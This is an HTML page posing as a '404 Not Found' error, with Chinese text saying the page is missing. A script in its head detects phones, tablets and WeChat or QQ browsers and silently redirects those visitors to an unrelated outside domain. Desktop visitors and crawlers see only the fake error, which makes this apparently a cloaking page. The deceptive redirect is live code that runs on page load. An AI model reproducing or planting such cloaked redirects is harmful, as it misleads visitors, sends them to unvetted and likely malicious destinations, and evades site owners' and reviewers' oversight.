<!doctype html>
<html lang="zh-CN">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <meta name="robots" content="noindex,nofollow" />
  <title>404 Not Found</title>
  <style>
    body { font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,"PingFang SC","Microsoft YaHei",sans-serif;
           margin: 0; padding: 0; background: #fff; color: #111; }
    .wrap { max-width: 720px; margin: 12vh auto; padding: 0 18px; }
    h1 { font-size: 42px; margin: 0 0 12px; letter-spacing: .5px; }
    p { font-size: 16px; line-height: 1.65; margin: 8px 0; color: #333; }
    code { background: #f6f6f6; padding: 2px 6px; border-radius: 6px; }
    .muted { color: #666; font-size: 13px; margin-top: 18px; }
    .hr { height: 1px; background: #eee; margin: 18px 0; }
  </style>

  <script>
    // ✅ ✅ ✅ ✅ ✅ 手机端跳转地址：改这里
    const MOBILE_TARGET = "https://m8289291.hbbpxxb.cn/";

    function isMobileUA() {
      const ua = navigator.userAgent || "";

      return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobile|MQQBrowser|MicroMessenger/i.test(ua);
    }

    function isIpadOSDesktopMode() {
      return navigator.platform === "MacIntel" && navigator.maxTouchPoints > 1;
    }

    (function () {
      const mobile = isMobileUA() || isIpadOSDesktopMode();
      if (mobile) {
  
        location.replace(MOBILE_TARGET);
      }
    
    })();
  </script>
</head>

<body>
  <div class="wrap">
    <h1>404</h1>
    <p>Not Found</p>
    <div class="hr"></div>
    <p>你访问的页面不存在或已被移除。</p>
    <p class="muted">Request ID: <code id="rid"></code></p>
  </div>

  <script>
    const rid = Math.random().toString(16).slice(2) + "-" + Date.now().toString(16);
    document.getElementById("rid").textContent = rid;
  </script>
</body>
</html>